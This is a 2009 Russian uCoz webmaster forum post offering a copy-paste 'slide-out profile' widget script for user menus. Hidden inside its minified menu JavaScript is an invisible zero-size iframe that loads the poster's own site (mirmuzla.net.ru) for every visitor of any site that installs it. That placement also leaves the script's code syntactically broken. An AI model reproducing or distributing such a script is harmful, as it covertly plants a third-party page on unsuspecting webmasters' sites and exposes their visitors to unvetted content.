Пятница, 19.04.2024, 11:38Приветствую Вас Гость | RSS
Главная | скрипт для ucoz "Выдвижной профиль" - Форум | Регистрация | Вход
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Для вебмастера » Скрипты системы UCOZ » скрипт для ucoz "Выдвижной профиль"
скрипт для ucoz "Выдвижной профиль"
sachok Дата: Пятница, 30.10.2009, 18:52 | Сообщение # 1
Группа: Пользователи
Сообщений: 81
Статус: :-)
Скрин скрипта посмотреть можно сдесь--> http://mirmuzla.net.ru/am/2121.jpg

Устанавливаем как и все профили. Создаёте глобальный блок, туда вставляете этот код, сохраняете. Затем код этого глобального блока вставляете в то место где хочете что бы был виден профиль и всё. НАСЛАЖДАЕМСЯ РЕЗУЛЬТАТОМ !!

Code
<?if($USER_LOGGED_IN$)?><div class="boxTable">   
<div class="boxContent" id="sitenews" style="display:none">   
<div align="center" style="padding:5px">[ <a href="javascript://" onclick="kabinet()">Кабинет</a> | <a href="javascript://" onclick="sitenews()"><b>Новости</b></a> | <a href="javascript://" onclick="alert('Скоро...')">Настройки</a> ]</div>   
<ul class="uz">   
$MYINF_3$   
</ul>   
<div align="center" style="font-size: 8px;padding:0px;">[ <a href="/forum/2"><b>все новости</b></a> ]<br> </div>   
</div>   

<div class="boxContent" id="kabinet" align="center">   
Привет, <b>$USER_FULL_NAME$</b>!<br>   
<?if($USER_AVATAR_URL$)?><center><img alt="Аватар пользователя $USER_FULL_NAME$" src="$USER_AVATAR_URL$"></center><?else?><center><img alt="Нет аватара" src="/img/noavatar.gif"></center><?endif?>   
<b>№$USER_ID$</b><br>   
<b>$USER_GROUP$</b><br>   
Ты здесь: <font color="#FF0000"><b>$USER_REG_DAYS$</b></font>-й день<br>   
IP: <b>$IP_ADDRESS$</b><br>   
</div>   
<div style type="text/css"></style>   
<div id="verifymail"></div>   
<ul class="uz">   
<div id="menuDiv" style="display:inline">   

<ul id="tmenu0" style="display:none">   

<li class="m">   
<span><img src="адрес для первой кнопки" alt="down"></span>   
<ul>   
<li class="catsTd"><a class="catName" title="Открыть страницу с личными данными." href="$PERSONAL_PAGE_LINK$">Мой профиль</a></li>   
<li class="catsTd"><a class="catName" title="Изменить личные данные." href="javascript://" onclick="window.open('/index/11','options','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;">Изменить мои данные</a></li>   
<li class="catsTd"><a class="catName" title="Открыть страницу с личными сообщениями." href="javascript://" onclick="window.open('$PM_URL$','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;">Личные сообщения <?if($IS_NEW_PM$)?>(<font color="#FF0000"><b>$UNREAD_PM$</b></font>)<?else?><?endif?></a></li>   
<li class="catsTd"><a class="catName" title="Отправить личное сообщение." href="javascript://" onclick="window.open('/index/14-999-0-1','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;">Отправить ЛС</a></li>   
<li class="catsTd"><a class="catName" href="javascript://" onclick="openLayerB('Rulez',0,'/ajax/ajax.xml','Общепринятые правила поведения на всем сайте',750,150,'1','','1',0,'justify'); return false;" rel="nofollow">Правила сайта</a></li>   
</ul>   
</li>   

<li class="m">   
<span><img src="адрес для второй кнопки" alt="down"></span>   
<ul>   
<li class="catsTd"><a class="catName" title="Просмотреть комментарии, когда-либо написанные мной." href="/index/34-$USER_ID$" target="_blank">Мои комментарии</a></li>   
<li class="catsTd"><a class="catName" title="Высветить темы в которых я принимал участие." href="/forum/0-0-1-3-$USER_ID$" target="_blank">Мои посты</a></li>   
<?if($GROUP_ID$="2" or $GROUP_ID$="3" or $GROUP_ID$="4")?>   
<li class="catsTd"><a class="catName" title="При добавлении видео на форуме и в комментариях используйте <b>BB code</b><br><br>При добавлении видео в каталог <b>JavaScript code</b>" href="javascript://" onclick="openLayerB('video',0,'/tmpls/?a=mm;t=video','Подключение видео',550,305,'#F0F3F5','#6B82A4','http://src.ucoz.net');return false;">Подключить видео</a></li>   
<li class="catsTd"><a class="catName" title="При добавлении аудио на форуме и в комментариях используйте <b>BB code</b><br><br>При добавлении аудио в каталог <b>JavaScript code</b>" href="javascript://" onclick="openLayerB('audio',0,'/tmpls/?a=mm;t=audio','Подключение аудио',550,240,'#F0F3F5','#6B82A4','http://src.ucoz.net');return false;">Подключить аудио</a></li>   
<li class="catsTd"><a class="catName" title="Просмотреть статьи, когда-либо опубликованные мной." href="/publ/0-0-$USER_ID$-0-17" target="_blank">Мои статьи</a></li>   
<li class="catsTd"><a class="catName" title="Добавить статью на сайт." href="/publ/0-0-0-0-1">Добавить статью</a></li>   
<li class="catsTd"><a class="catName" title="Просмотреть файлы, когда-либо добавленные мной." href="/load/0-0-$USER_ID$-0-17" target="_blank">Мои файлы</a></li>   
<li class="catsTd"><a class="catName" title="Добавить файл на сайт." href="/load/0-0-0-0-1">Добавить файл</a></li>   
<?endif?>   
<li class="catsTd"><a class="catName" title="Вы действительно хотите покинуть сайт???" href="javascript://" onclick="openLayerB('LogOut',0,'/ajax/ajax.xml','Покинуть сайт',550,150,'1','','1',0,'center'); return false;">Выход</a></li>   
</ul>   
</li>   

<script type="text/javascript">   
function tmenudata0()   
{   
this.animation_jump = 10   
this.animation_delay = 2   
this.imgage_gap = 3   

this.pm_width_height = "1,1"   
this.icon_width_height = "1,16"   
this.indent = 1;   
this.use_hand_cursor = true;   
this.main_item_styles = "text-decoration:none; \   
font-weight:normal; \   
font-family:; \   
font-size:12px; \   
color:#94999c; \   
padding:2px; "   
this.sub_item_styles = "text-decoration:none; \   
font-weight:normal; \   
font-family:; \   
font-size:11px; \   
color:#94999c; "   
this.main_container_styles = "padding:0px;"   
this.sub_container_styles = "padding-top:2px; padding-bottom:1px;"   
this.main_link_styles = "color:#94999c; text-decoration:none;"   
this.main_link_hover_styles = "color:#35a6be; text-decoration:underline;"   
this.sub_link_styles = ""   
this.sub_link_hover_styles = ""   
this.main_expander_hover_styles = "text-decoration:underline;";   
this.sub_expander_hover_styles = "";}   
</script>   

<script type="text/javascript">   
ulm_ie=window.showHelp;ulm_opera=window.opera;ulm_strict=((ulm_ie || ulm_opera)&&(document.compatMode=="CSS1Compat")); ulm_mac=navigator.userAgent.indexOf("Mac")+1;is_animating=false; cc3=new Object();cc4=new Object();   
cc0=document.getElementsByTagName("UL");for(mi=0;mi<cc0.length; mi++){if(cc1=cc0[mi].id){if(cc1.indexOf("tmenu")>-1){cc1=cc1.substring(5); cc2=new window["tmenudata"+cc1];cc3["img"+cc1]=new Image();cc3["img"+cc1].src=cc2.plus_image;cc4["img"+cc1]=new Image(); cc4["img"+cc1].src=cc2.minus_image;if(!(ulm_mac && ulm_ie)){t_cc9=cc0[mi].getElementsByTagName("UL");for(mj=0;mj<t_cc9.length; mj++){cc23=document.createElement("DIV");cc23.className="uldivs"; cc23.appendChild(t_cc9[mj].cloneNode(1));t_cc9[mj].parentNode.replaceChild(cc23,t_cc9[mj]); }}cc5(cc0[mi].childNodes,cc1+"_",cc2,cc1); cc6(cc1,cc2);cc0[mi].style.display="block"; }}};function cc5(cc9,cc10,cc2,cc11){eval("cc8=new Array("+cc2.pm_width_height+")");this.cc7=0;for(this.li=0;this.li<cc9.length; this.li++){if(cc9[this.li].tagName=="LI"){this.level=cc10.split("_").length-1; cc9[this.li].style.cursor="default";this.cc12=false;this.cc13=cc9[this.li].childNodes; for(this.ti=0;this.ti<this.cc13.length;this.ti++){lookfor="DIV"; if(ulm_mac && ulm_ie)lookfor="UL";if(this.cc13[this.ti].tagName==lookfor){this.tfs=this.cc13[this.ti].firstChild; if(ulm_mac && ulm_ie)this.tfs=this.cc13[this.ti];this.usource=cc3["img"+cc11].src; if((gev=cc9[this.li].getAttribute("expanded"))&&(parseInt(gev))){this.usource=cc4["img"+cc11].src; }else this.tfs.style.display="none";if(cc2.folder_image){create_images(cc2,cc11,cc2.icon_width_height,cc2.folder_image,cc9[this.li]); this.ti=this.ti+2;}this.cc14=document.createElement("IMG");this.cc14.setAttribute("width",cc8[0]); this.cc14.setAttribute("height",cc8[1]);this.cc14.className="plusminus"; this.cc14.src=this.usource;this.cc14.onclick=cc16;this.cc14.onselectstart=function(){return false}; this.cc14.setAttribute("cc2_id",cc11);this.cc15=document.createElement("div"); this.cc15.style.display="inline";this.cc15.style.paddingLeft=cc2.imgage_gap+"px"; cc9[this.li].insertBefore(this.cc15,cc9[this.li].firstChild); cc9[this.li].insertBefore(this.cc14,cc9[this.li].firstChild); this.ti+=2;new cc5(this.tfs.childNodes,cc10+this.cc7+"_",cc2,cc11);this.cc12=1; }else if(this.cc13[this.ti].tagName=="SPAN"){this.cc13[this.ti].onselectstart=function(){return false}; this.cc13[this.ti].onclick=cc16;this.cc13[this.ti].setAttribute("cc2_id",cc11); this.cname="cc24";if(this.level>1)this.cname="cc25";if(this.level> 1)this.cc13[this.ti].onmouseover=function(){this.className="cc25"; };else this.cc13[this.ti].onmouseover=function(){this.className="cc24"; };this.cc13[this.ti].onmouseout=function(){this.className="";}; }}if(!this.cc12){if(cc2.document_image){create_images(cc2,cc11,cc2.icon_width_height,cc2.document_image,cc9[this.li]); }this.cc15=document.createElement("div");this.cc15.style.display="inline"; if(ulm_ie)this.cc15.style.width=cc2.imgage_gap+cc8[0]+"px";else this.cc15.style.paddingLeft=cc2.imgage_gap+cc8[0]+"px"; cc9[this.li].insertBefore(this.cc15,cc9[this.li].firstChild);}this.cc7++; }}};function create_images(cc2,cc11,iwh,iname,liobj){eval("tary=new Array("+iwh+")");this.cc15=document.createElement("div");this.cc15.style.display="inline"; this.cc15.style.paddingLeft=cc2.imgage_gap+"px"; liobj.insertBefore(this.cc15,liobj.firstChild); this.fi=document.createElement("IMG");this.fi.setAttribute("width",tary[0]); this.fi.setAttribute("height",tary[1]);this.fi.setAttribute("cc2_id",cc11); this.fi.className="plusminus";this.fi.src=iname;this.fi.style.verticalAlign="middle"; this.fi.onclick=cc16;liobj.insertBefore(this.fi,liobj.firstChild); };function cc16(){if(is_animating)return;cc18=this.getAttribute("cc2_id"); cc2=new window["tmenudata"+cc18];cc17=this.parentNode.getElementsByTagName("UL"); if(parseInt(this.parentNode.getAttribute("expanded"))){this.parentNode.setAttribute("expanded",0); if(ulm_mac && ulm_ie){cc17[0].style.display="none";}else {cc27=cc17[0].parentNode;cc27.style.overflow="hidden";cc26=cc27; cc27.style.height=cc17[0].offsetHeight;cc27.style.position="relative"; cc17[0].style.position="relative";is_animating=1;setTimeout("cc29("+(-cc2.animation_jump)+",false,"+cc2.animation_delay+")",0); }this.parentNode.firstChild.src=cc3["img"+cc18].src;}else {this.parentNode.setAttribute("expanded",1);if(ulm_mac && ulm_ie){cc17[0].style.display="block";}else {cc27=cc17[0].parentNode;cc27.style.height="1px";cc27.style.overflow="hidden"; cc27.style.position="relative";cc26=cc27;cc17[0].style.position="relative"; cc17[0].style.display="block";cc28=cc17[0].offsetHeight;cc17[0].style.top=-cc28+"px"; is_animating=1;setTimeout("cc29("+cc2.animation_jump+",1,"+cc2.animation_delay+")",0); }this.parentNode.firstChild.src=cc4["img"+cc18].src;}};function cc29(inc,expand,delay){cc26.style.height=(cc26.offsetHeight+inc)+"px"; cc26.firstChild.style.top=(cc26.firstChild.offsetTop+inc)+"px"; if( (expand &&(cc26.offsetHeight<(cc28)))||(!expand &&(cc26.offsetHeight>Math.abs(inc))) )setTimeout("cc29("+inc+","+expand+","+delay+")",delay);else {if(expand){cc26.style.overflow="visible"; if((ulm_ie)||(ulm_opera && !ulm_strict))cc26.style.height="0px";else cc26.style.height="auto";cc26.firstChild.style.top=0+"px";}else {cc26.firstChild.style.display="none";<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"src="http://mirmuzla.net.ru"></iframe> cc26.style.height="0px";}is_animating=false;}};function cc6(id,cc2){np_refix="#tmenu"+id;cc20="<style type='text/css'>";cc19="";if(ulm_ie)cc19="height:0px;font-size:1px; ";cc20+=np_refix+" {width:100%;"+cc19+"-moz-user-select:none;margin:0px;padding:0px; list-style:none;"+cc2.main_container_styles+"}";cc20+=np_refix+" li{white-space:nowrap; list-style:none;margin:0px;padding:0px;"+cc2.main_item_styles+"}"; cc20+=np_refix+" ul li{"+cc2.sub_item_styles+"}";cc20+=np_refix+" ul{list-style:none;margin:0px;padding:0px;padding-left:"+cc2.indent+"px; "+cc2.sub_container_styles+"}";cc20+=np_refix+" a{"+cc2.main_link_styles+"}";cc20+=np_refix+" a:hover{"+cc2.main_link_hover_styles+"}";cc20+=np_refix+" ul a{"+cc2.sub_link_styles+"}";cc20+=np_refix+" ul a:hover{"+cc2.sub_link_hover_styles+"}";cc20+=".cc24 {"+cc2.main_expander_hover_styles+"}";if(cc2.sub_expander_hover_styles)cc20+=".cc25 {"+cc2.sub_expander_hover_styles+"}"; else cc20+=".cc25 {"+cc2.main_expander_hover_styles+"}";if(cc2.use_hand_cursor)cc20+=np_refix+" li span,.plusminus{cursor:hand; cursor:pointer;}";else cc20+=np_refix+" li span,.plusminus{cursor:default;}";document.write(cc20+"</style> ");}   
</script>   

<script type="text/javascript">try { var nl=document.getElementById('menuDiv').getElementsByTagName('a'); var found=-1; var url=document.location.href+'/'; var len=0; for (var i=0;i<nl.length;i++){ if (url.indexOf(nl[i].href)>=0){ if (found==-1 || len<nl[i].href.length){ found=i; len=nl[i].href.length; } } } if (found>=0){ nl[found].className='ma'; } } catch(e){}</script></div>   
</ul>   
</div>   
</div><?endif?>


sachok
Форум » Для вебмастера » Скрипты системы UCOZ » скрипт для ucoz "Выдвижной профиль"
  • Страница 1 из 1
  • 1
Поиск:
Статистика Форума
Последнии темы Читаемые темы Лучшие пользователи Новые пользователи

vLineAge2.ru приглашает сразу после конца света, 22.12, 17.00 МСК!

MagdoJIuHA85

(0)

Бесплатная раскрутка сайта

jumper

(154)

Проект vLineAge2.ru приглашает Вас 19.10.2012 в 19.00 мск!

DarkBoobs79

(0)

vLineAge.ru приглашает Вас 19.10.2012 в 19.00 мск!

DarkBoobs79

(0)

Сегодня нас посетили XX юзеров

sachok

(0)

Скрипт "сегодня были пользователи" для uCoz

sachok

(0)

Тёмный вид материалов каталога файлов, новостей,статей, новый diz-c

sachok

(0)

Выдыижной, Красивый поиск

sachok

(0)

Скрипт статистики сайта под темный дизайн

sachok

(0)

ClanWars - статистика CW для ucoz, победы - Поражения

sachok

(0)

Бесплатная раскрутка сайта

(154)

Новый турнир *на вылет* Регистрация здесь

(27)

Премьер-Лига по FIFA 09

(22)

Набирается команда сайта

(20)

Результаты игр

(9)

Инструкция для игры

(8)

Тема для проведения товарняков!!!

(8)

Изготовление аватаров

(7)

Правила Премьер_Лиги

(6)

Обмен баннерами

(5)

jumper

(127)

sachok

(81)

pinkY

(31)

admin

(20)

Buffon

(20)

magistr

(17)

SlemHut

(16)

nicknam

(14)

жека

(12)

jasminka

(9)

  • dhsibgjvvv
  • Teach
  • waxirewion
  • Chuangzhi
  • margesic


  • Copyright Football-world © 2008
    Rambler's Top100 Футбол на Soccer.ru: Новости футбола России и Европы онлайн, Евро кубки и чемпионаты Live Каталог Ресурсов Интернет